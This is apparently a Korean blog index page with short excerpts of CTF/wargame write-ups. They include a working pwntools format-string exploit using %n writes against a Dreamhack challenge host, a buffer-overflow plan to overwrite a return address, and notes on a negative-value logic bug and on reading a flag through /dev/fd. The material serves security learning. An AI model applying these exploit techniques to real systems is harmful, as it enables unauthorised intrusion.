목록분류 전체보기 (365)
https://dreamhack.io/wargame/challenges/5/
https://dreamhack.io/wargame/challenges/4/ dec(34297) 0x10804 - 0x8609 = 0x81fb -> dec(33275) exploit code from pwn import * p = remote("host1.dreamhack.games", 19427) code = '\x90'*4 +'\x24\xa0\x04\x08'+'\x90'*4+'\x26\xa0\x04\x08' code += "%34297d%n" + "%33275d%n" p.send(code) p.interactive() FSB가 처음에 이해가 안 가도 하다 보면 이해가 간다. 많이 풀어보도록 하자. FSB 공격 라이브러리가 있긴 한데 처음에 원리를 이해하기 위해 직접 해보도록 하자
https://dreamhack.io/wargame/challenges/3/ basic_exploitation_001 Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요. "flag" 파일의 내용을 dreamhack.io 풀어보겠다. 환경은 이렇다. 바로 코드를 확인해보자 gets함수를 사용하여 bof를 일으키고 ret주소에 read_flag 주소로 덮어버리도록 하겠다. 먼저 read_flag함수의 주소를 얻어보자 주소를 겟 해버렸다. 페이로드는 dummy*0x80 + sfp(4) + read_flag(4)로 날리도록 하겠다. from pwn impor..
https://dreamhack.io/wargame/challenges/2/
보호되어 있는 글입니다.
hint에 그냥 음수 값이 적혀있다. binary.py를 바로 확인해보았다. 코드를 보니 대충 무슨 게임인 듯하다. 전역 변수인 dimicoin이 백만 이상이면 flag를 주는 듯하다. dimicoin변수가 쓰인 다른 함수를 찾아보았다. payBack함수에서 취약점을 찾았다. payback명령어를 입력받고 dimicoin에 연산을 진행한다. 근데 음수 값 예외 처리가 되어 있지 않다. 여기에 -1000000000을 입력하면 어떻게 될까????
flag가 이미 열려있다는 힌트를 주었다. main 코드이다. filtering을 통해 명령어들을 한번 걸러낸다. 일반적인 명령어로는 flag를 읽을 방법이 안보인다. 일단 힌트에 나와있는 /dev 파일에 들어가 보았다. 여기에 fd라는 디렉터리가 보인다. 파일디스크립터이다. flag파일이 open중이라니깐 fd를 이용해 파일을 열 수있을것이다. fd디렉터리에 들어가 파일들을 확인해보았다. 이제 remote로 연결해서 fd를 3번을 실행시켜보도록 하겠다. 왜냐하면 보통 파일을 열면 보통 fd를 3번부터 부여하기 때문이다. flag가 나왔다.!
처음에 중근이 무엇인지도 몰랐다. 방정식에 겹치는 해가 나오는 것이다. 삼차방정식일 때 같은 해가 세 개 나오면 삼중근이다. 프로그램을 실행 시켰다. 방정식 문제가 나오고 나온 해의 값을 적으면 된다. 300문제를 모두 맞추어야 하고 시간 체한 은 총 500초이다. 상식적으로 사람이 해결할 수 있는 시간이 아니다. exploit code를 작성해야 한다. 한 가지 규칙성을 발견했다. 프로그램을 여러 번 돌려도 문제에서 상수의 값만 달라진다. 즉 상수 값만 추출해서 계산을 하면 된다. exploit code from pwn import * from sympy import * p = remote("192.168.232.132",8231) context.log_level = "Debug" init_printi..